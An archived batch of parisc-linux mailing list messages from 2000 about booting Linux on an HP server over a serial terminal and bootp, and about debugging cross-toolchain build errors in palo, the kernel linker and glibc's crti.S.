> feliratu portjat kell hasznalni (szeles soros port)

it's the most commonly used simple serial terminal. You
need to use the prot labelled 'Data' to connect to the
server.

> >    and a SCSI storage box...
> ha az osszes szerkezethez tudsz mondani termekszamot, akkor
> megmondom, hogy pontosan mik. A1234A formatumuak szoktak
> lenni a szamok.

if you can tell me the product numbers for all of your thing
then i can probably tell you what they are. The product numbers
are usually in the A1234A format.

> > We think there is an operating system on the server, because it
> > seems to boot, but we cannot connect the terminal properly, so we
> > don't see anything. (Only a menu of the terminal in German language
> > :(((( )
> a terminal nyelve ha jol emlekszem atallithato. nyomd meg a user/menu
> gombot, aztan F8 es valahol arrafele.

IIRC the language of the terminal can be changed. press the user/menu
button the F8, then whatever seems appropriate.

> A terminalt resetelni ugy tudod, hogy bekapcsolas kozben lenyomva
> tartod D betut. Marmint a terminal bekapcsolasa kozben.

you can reset the terminal by holding down D while turning on it.
I mean while turning on the terminal.

> >    How can we connect the terminal to the server or can we replace
> >    this terminal with a terminal emulator on PC?
> 96008N1, mukodnie kell tetszoleges terminal emulatorral.

it should work with any terminal emulator, the format is 9600N1

> >    What does the bootp mean? We think it means that we can boot Linux
over
> >    network with bootp/tftp?
> az egyfajta boot protokoll es igen, a linux kernelt most legkonyebben
> boot-vel tudod elinditani a szerveren.

that is a kind of boot protocoll and yes this is the easiest
way to boot the linux kernel currently.

Gyula


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bas Valkema" <bvalkema@knowhowww.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Mux for E35
Date: Thu, 27 Apr 2000 12:51:21 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <003001bfb036$8b4fab40$0303a0c0@bas>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002B_01BFB047.49BAD1D0"
X-Trace: ger.gmane.org 1416618898 32372 80.91.229.3 (22 Nov 2014 01:14:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:58 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: bvalkema@knowhowww.nl  Thu Apr 27 04:54:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA02433
	for <parisc-linux@puffin.external.hp.com>; Thu, 27 Apr 2000 04:54:51 -0600
Original-Received: (qmail 1668 invoked by uid 15267); 27 Apr 2000 10:54:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1660 invoked from network); 27 Apr 2000 10:54:50 -0000
Original-Received: from mail.superweb.nl (HELO mail01.superweb.nl) (213.171.128.12)
  by mailserv2.iuinc.com with SMTP; 27 Apr 2000 10:54:50 -0000
Original-Received: from bas (dialup131_108.superweb.nl [213.171.131.108]) by mail01.superweb.nl with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id 2Y0BH9Z7; Thu, 27 Apr 2000 12:49:14 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7233

This is a multi-part message in MIME format.

------=_NextPart_000_002B_01BFB047.49BAD1D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hi,

I read someone needs Muxes for E35??? I do have a couple of those things =
gathering dust...

Interested? Mail....

bvalkema@knowhowww.nl
Bas Valkema

------=_NextPart_000_002B_01BFB047.49BAD1D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I read someone needs Muxes for E35??? I =
do have a=20
couple of those things gathering dust...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Interested? Mail....</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:bvalkema@knowhowww.nl">bvalkema@knowhowww.nl</A></FONT></D=
IV>
<DIV><FONT face=3DArial size=3D2>Bas Valkema</FONT></DIV></BODY></HTML>

------=_NextPart_000_002B_01BFB047.49BAD1D0--


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] crt0.S does not build
Date: Fri, 28 Apr 2000 13:30:09 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200004282030.NAA09211@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618898 32377 80.91.229.3 (22 Nov 2014 01:14:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Apr 28 14:29:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA16264
	for <parisc-linux@puffin.external.hp.com>; Fri, 28 Apr 2000 14:29:56 -0600
Original-Received: (qmail 25276 invoked by uid 15267); 28 Apr 2000 20:29:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25264 invoked from network); 28 Apr 2000 20:29:52 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 28 Apr 2000 20:29:52 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP id 6E7051CA08
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Apr 2000 16:29:51 -0400 (EDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id A0E294FD8D
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Apr 2000 16:29:50 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id NAA09211 for parisc-linux@thepuffingroup.com; Fri, 28 Apr 2000 13:30:09 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7234

Hi all,

I'm trying to get builds working on a new x86 box.
I've built/installed binutils and gcc (--prefix=/opt/puffin).
I'm able to build linux-2.3 kernels but palo dies with:
make[1]: Leaving directory `/linux/grundler/palo/palo'
cd ipl && make
make[1]: Entering directory `/linux/grundler/palo/ipl'
hppa1.1-linux-gcc -D__ASSEMBLY__  -traditional -c -o crt0.o crt0.S
crt0.S: Assembler messages:
crt0.S:4: Error: Unknown opcode: `execution'
crt0.S:6: Error: Unknown opcode: `we'
crt0.S:8: Fatal error: Unknown opcode: `$start$(interactive, endaddr)'
make[1]: *** [crt0.o] Error 1
make[1]: Leaving directory `/linux/grundler/palo/ipl'
make: *** [makeipl] Error 2

It seems the assembler is not interpreting the ';' as comments.
Is the crt0.S broken or my assembler?

thanks,
grant

ps. paul: my source is on hpisp747:/linux/grundler . I updated/copied
   the CVS sources over from my existing HP-UX build machine.


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crt0.S does not build
Date: Fri, 28 Apr 2000 13:33:39 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200004282033.NAA09262@milano.cup.hp.com>
References: <200004282030.NAA09211@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618899 32384 80.91.229.3 (22 Nov 2014 01:14:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Apr 28 14:33:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA16460
	for <parisc-linux@puffin.external.hp.com>; Fri, 28 Apr 2000 14:33:31 -0600
Original-Received: (qmail 28147 invoked by uid 15267); 28 Apr 2000 20:33:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28120 invoked from network); 28 Apr 2000 20:33:29 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 28 Apr 2000 20:33:29 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id C318E1CCEC
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Apr 2000 16:33:19 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id NAA09262 for <parisc-linux@thepuffingroup.com>; Fri, 28 Apr 2000 13:33:39 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 28 Apr 2000 13:30:09 PDT."
             <200004282030.NAA09211@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7235

Grant Grundler wrote:
> Hi all,
> 
> I'm trying to get builds working on a new x86 box.
> I've built/installed binutils and gcc (--prefix=/opt/puffin).
> I'm able to build linux-2.3 kernels but palo dies with:
...

ok. My goof. palo directory wasn't up-to-date.

grant


Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF toolchain broken on HP-UX
Date: Sat, 29 Apr 2000 16:17:25 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200004292317.QAA09826@milano.cup.hp.com>
References: <200004212226.PAA03137@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618899 32386 80.91.229.3 (22 Nov 2014 01:14:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Apr 29 17:17:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA26877
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 Apr 2000 17:17:29 -0600
Original-Received: (qmail 10625 invoked by uid 15267); 29 Apr 2000 23:17:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10616 invoked from network); 29 Apr 2000 23:17:25 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 29 Apr 2000 23:17:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id AF33930492
	for <parisc-linux@thepuffingroup.com>; Sat, 29 Apr 2000 16:17:04 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id QAA09826 for <parisc-linux@thepuffingroup.com>; Sat, 29 Apr 2000 16:17:25 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 21 Apr 2000 15:26:16 PDT."
             <200004212226.PAA03137@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7236

Grant Grundler wrote:
> Ran into the next "wall". This is a heads up the toolchain built
> on HP-UX doesn't build valid code for parisc-linux.  (It might be
> fine for HP-UX binaries).
> 
> After ic_route_ioctl() is called, I get a "halted" message
> and the following output:
...
> GR2 0xc0232b94 ic_route_ioctl+20
> IAOQ 0xc0283e54 all_requests+43c

So I spent most of last week setting up an x86 build machine
only to find the kernels built on the "i386-linux" host
die in the same way. Something is wrong with build env.
I just be me. But maybe not.  I'll try to find out ASAP.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] elf32-parisc linker broken?
Date: Sun, 30 Apr 2000 12:58:44 -0700
Lines: 95
Approved: news@gmane.org
Message-ID: <200004301958.MAA10245@milano.cup.hp.com>
References: <200004212226.PAA03137@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618899 32391 80.91.229.3 (22 Nov 2014 01:14:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sun Apr 30 13:58:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA03266
	for <parisc-linux@puffin.external.hp.com>; Sun, 30 Apr 2000 13:58:26 -0600
Original-Received: (qmail 27772 invoked by uid 15267); 30 Apr 2000 19:58:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27765 invoked from network); 30 Apr 2000 19:58:25 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 30 Apr 2000 19:58:25 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel2.hp.com (Postfix) with ESMTP id C83346053
	for <parisc-linux@thepuffingroup.com>; Sun, 30 Apr 2000 15:58:24 -0400 (EDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 365614FD83
	for <parisc-linux@thepuffingroup.com>; Sun, 30 Apr 2000 15:58:24 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id MAA10245 for <parisc-linux@thepuffingroup.com>; Sun, 30 Apr 2000 12:58:44 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 21 Apr 2000 15:26:16 PDT."
             <200004212226.PAA03137@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7237

Grant Grundler wrote:
> After ic_route_ioctl() is called, I get a "halted" message
> and the following output:
> ...
> IP-Config: Got BOOTP answer from 15.8.80.76, my address is 15.8.80.77
> sba_map_single 0xc7f7f2bc -> 0x5202bc pdir 0xc7fb2900 8000000007f7f07f
> sba_unmap_single iovp 0x5202bc
> halted
...
> GR2 0xc0232b94 ic_route_ioctl+20
> IAOQ 0xc0283e54 all_requests+43c
...

> I then disassembled vmlinux to see what's in ic_route_ioctl():
> c0232b74 <ic_route_ioctl>:
> c0232b74:       6b c2 3f d9     stw rp,-14(sr0,sp)
> c0232b78:       6f c5 00 80     stw,ma r5,40(sr0,sp)
> c0232b7c:       6b c4 3f 89     stw r4,-3c(sr0,sp)
> c0232b80:       08 1e 02 44     copy sp,r4
> c0232b84:       d4 80 1c 12     depwi 0,31,14,r4
> c0232b88:       0c 98 10 85     ldw c(sr0,r4),r5
> c0232b8c:       e8 5f 09 98     b,l c0271060 <inode_hashtable+0xe044>,rp
> c0232b90:       0c 80 12 98     stw r0,c(sr0,r4)
> c0232b94:       0c 85 12 98     stw r5,c(sr0,r4)
> c0232b98:       4b c2 3f 59     ldw -54(sr0,sp),rp
> c0232b9c:       4b c4 3f 89     ldw -3c(sr0,sp),r4
> c0232ba0:       e8 40 c0 00     bv r0(rp)
> c0232ba4:       4f c5 3f 81     ldw,mb -40(sr0,sp),r5
> 
> The b,l to 0xc0271060 seems rather bogus.  But I have no
> clue how the toolchain makes relative or "long" calls.

The "objdump --disassemble-all vmlinux" output hasn't changed
between i386-linux and parisc-hpux host build environments.
Here is also the "-S" output for ic_route_ioctl():

        .align 4
        .type    ic_route_ioctl,@function
ic_route_ioctl:
ic_route_ioctl: 
        .PROC
        .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=4
        .ENTRY  
        stw %r2,-20(%r30)
        stwm %r5,64(%r30)
        stw %r4,-60(%r30)
#APP 
        copy 30,%r4
#NO_APP
        depi 0,31,14,%r4
        ldw 12(%r4),%r5
        .CALL ARGW0=GR,ARGW1=GR
        bl ip_rt_ioctl,%r2
        stw %r0,12(%r4)
        stw %r5,12(%r4)
        ldw -84(%r30),%r2
        ldw -60(%r30),%r4
        bv %r0(%r2)
        ldwm -64(%r30),%r5
        .EXIT
        .PROCEND
.Lfe4:
        .size    ic_route_ioctl,.Lfe4-ic_route_ioctl


This looks fine to me.
And "objdump --disassemble-all ipconfig.o" for ic_route_ioctl():

00000334 <ic_route_ioctl>:
     334:       6b c2 3f d9     stw rp,-14(sr0,sp)
     338:       6f c5 00 80     stw,ma r5,40(sr0,sp)
     33c:       6b c4 3f 89     stw r4,-3c(sr0,sp)
     340:       08 1e 02 44     copy sp,r4
     344:       d4 80 1c 12     depwi 0,31,14,r4
     348:       0c 98 10 85     ldw c(sr0,r4),r5
     34c:       e8 40 00 00     b,l 354 <ic_route_ioctl+0x20>,rp
     350:       0c 80 12 98     stw r0,c(sr0,r4)
     354:       0c 85 12 98     stw r5,c(sr0,r4)
     358:       4b c2 3f 59     ldw -54(sr0,sp),rp
     35c:       4b c4 3f 89     ldw -3c(sr0,sp),r4
     360:       e8 40 c0 00     bv r0(rp)
     364:       4f c5 3f 81     ldw,mb -40(sr0,sp),r5

This looks OK assuming the actualy branch destination gets fixed
up at link time.  Could this be a linker bug?
If so, where might I start to debug this?
(I've never looked the linker before)

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] crti.S Nested procedures error
Date: Mon, 1 May 2000 11:41:00 -0700 (PDT)
Lines: 141
Approved: news@gmane.org
Message-ID: <200005011841.LAA11187@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618900 32399 80.91.229.3 (22 Nov 2014 01:15:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon May  1 12:45:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13205
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 May 2000 12:45:15 -0600
Original-Received: (qmail 17598 invoked by uid 15267); 1 May 2000 18:45:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17565 invoked from network); 1 May 2000 18:45:06 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 May 2000 18:45:06 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by palrel3.hp.com (Postfix) with ESMTP id 3803C3DA8A
	for <parisc-linux@thepuffingroup.com>; Mon,  1 May 2000 11:41:18 -0700 (PDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id D57EA4FD88
	for <parisc-linux@thepuffingroup.com>; Mon,  1 May 2000 14:40:39 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id LAA11187 for parisc-linux@thepuffingroup.com; Mon, 1 May 2000 11:41:00 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7238

Sammy,

I tried the "glibc" recipe on my x86 box (running Debian potato release).
(http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/04-Apr/0059.html)

"make" died with the following error:

...
hppa1.1-linux-gcc /linux/grundler/glibc/hppa1.1-linux/csu/crti.S -c  -I../include -I. -I/linux/grundler/glibc/hppa1.1-linux/csu -I.. -I../libio  -I/linux/grundler/glibc/hppa1.1-linux -I../sysdeps/hppa/elf -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc -isystem /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/include -isystem /opt/puffin/include  -include ../include/libc-sym
 bols.h     -DHAVE_INITFINI -DASSEMBLER  -I/linux/grundler/glibc/hppa1.1-linux/csu/.  -g0  -o /linux/grundler/glibc/hppa1.1-linux/csu/crti.o

bc-symbols.h     -DHAVE_INITFINI -DASSEMBLER  -I/linux/grundler/glibc/hppa1.1-linux/csu/.  -g0  -o /linux/grundler/glibc/hppa1.1-linux/csu/crti.o
/linux/grundler/glibc/hppa1.1-linux/csu/crti.S: Assembler messages:
/linux/grundler/glibc/hppa1.1-linux/csu/crti.S:42: Fatal error: Nested procedures
make[2]: *** [/linux/grundler/glibc/hppa1.1-linux/csu/crti.o] Error 1
make[2]: Leaving directory `/linux/grundler/glibc/csu'
make[1]: *** [csu/subdir_lib] Error 2


Sure enough, two .PROC's have no .PROCEND in between.
glibc/csu/Makefile builds crti.S with:

$(objpfx)crti.S: $(objpfx)initfini.s
        sed -n -e '1,/@HEADER_ENDS/p' \
               -e '/@_.*_PROLOG_BEGINS/,/@_.*_PROLOG_ENDS/p' \
               -e '/@TRAILER_BEGINS/,$$p' $< > $@ 


It seems either the initfini.s contents are wrong or the "sed" hack
above is removing too much.  Which is it?
Or should there only be one .PROC?

We get two .PROC's because initfini.s has both @_init_PROLOG_BEGINS/ENDS
and @_fini_PROLOG_BEGINS/ENDS. 

Appended "diff -u initfini.s crti.S" shows what sed is doing.

thanks,
grant


grundler <576>diff -u initfini.s crti.S
--- initfini.s  Mon May  1 11:09:43 2000
+++ crti.S      Mon May  1 11:20:48 2000
@@ -6,38 +6,6 @@
 #include "defs.h"
 
 /*@HEADER_ENDS*/
-
-/*@TESTS_BEGIN*/
-#NO_APP
-       .text
-       .align 4
-.globl dummy
-       .EXPORT dummy,ENTRY
-       .type    dummy,@function
-dummy:
-dummy:
-       .PROC
-       .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3
-       .ENTRY
-       stw %r2,-20(%r30)
-       ldo 64(%r30),%r30
-       stw %r19,-32(%r30)
-       stw %r4,-64(%r30)
-       movb,= %r26,%r22,.L16
-       copy %r19,%r4
-       .CALL   ARGW0=GR
-       bl $$dyncall,%r31
-       copy %r31,%r2
-.L16:
-       ldw -84(%r30),%r2
-       bv %r0(%r2)
-       ldwm -64(%r30),%r4
-       .EXIT
-       .PROCEND
-#APP
-
-/*@TESTS_END*/
-
 /*@_init_PROLOG_BEGINS*/
        .section .init
 #NO_APP
@@ -62,35 +30,6 @@
        END_INIT
 
 /*@_init_PROLOG_ENDS*/
-
-/*@_init_EPILOG_BEGINS*/
-       .section .init
-#NO_APP
-       ldw -84(%r30),%r2
-       bv %r0(%r2)
-       ldwm -64(%r30),%r4
-       .EXIT
-       .PROCEND
-#APP
-       END_INIT
-       .section .text
-#NO_APP
-       .align 4
-       .weak   __gmon_start__
-       .EXPORT __gmon_start__,ENTRY
-       .type    __gmon_start__,@function
-__gmon_start__:
-__gmon_start__:
-       .PROC
-       .CALLINFO FRAME=0,NO_CALLS
-       .ENTRY
-       bv,n %r0(%r2)
-       .EXIT
-       .PROCEND
-#APP
-
-/*@_init_EPILOG_ENDS*/
-
 /*@_fini_PROLOG_BEGINS*/
        .section .fini
 #NO_APP
@@ -113,24 +52,5 @@
        END_FINI
 
 /*@_fini_PROLOG_ENDS*/
-#NO_APP
-       .CALL 
-       bl i_am_not_a_leaf,%r2
-       nop
-#APP
-
-/*@_fini_EPILOG_BEGINS*/
-       .section .fini
-#NO_APP
-       ldw -84(%r30),%r2
-       bv %r0(%r2)
-       ldwm -64(%r30),%r4
-       .EXIT
-       .PROCEND
-#APP
-       END_FINI
-
-/*@_fini_EPILOG_ENDS*/

From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crt0.S does not build
Date: Tue, 2 May 2000 12:37:19 +1000 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005021212470.28310-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0005020138130.20387-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618900 32405 80.91.229.3 (22 Nov 2014 01:15:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Mon May  1 20:42:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA16627
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 May 2000 20:42:45 -0600
Original-Received: (qmail 8136 invoked by uid 15267); 2 May 2000 02:42:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8124 invoked from network); 2 May 2000 02:42:42 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 May 2000 02:42:42 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA04027;
	Tue, 2 May 2000 12:37:19 +1000
In-Reply-To: <Pine.LNX.4.21.0005020138130.20387-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7239

> I'm trying to get builds working on a new x86 box.
> I've built/installed binutils and gcc (--prefix=/opt/puffin).
> I'm able to build linux-2.3 kernels but palo dies with:
> make[1]: Leaving directory `/linux/grundler/palo/palo'
> cd ipl && make
> make[1]: Entering directory `/linux/grundler/palo/ipl'
> hppa1.1-linux-gcc -D__ASSEMBLY__  -traditional -c -o crt0.o crt0.S
> crt0.S: Assembler messages:
> crt0.S:4: Error: Unknown opcode: `execution'
> crt0.S:6: Error: Unknown opcode: `we'
> crt0.S:8: Fatal error: Unknown opcode: `$start$(interactive, endaddr)'
> make[1]: *** [crt0.o] Error 1
> make[1]: Leaving directory `/linux/grundler/palo/ipl'
> make: *** [makeipl] Error 2
> 
> It seems the assembler is not interpreting the ';' as comments.
> Is the crt0.S broken or my assembler?

Don't you mean "not interpreting `!' as comments"?  At least my copy of
palo uses `!' as the comment char, and current puffin parisc binutils also
use `!' to start a comment.

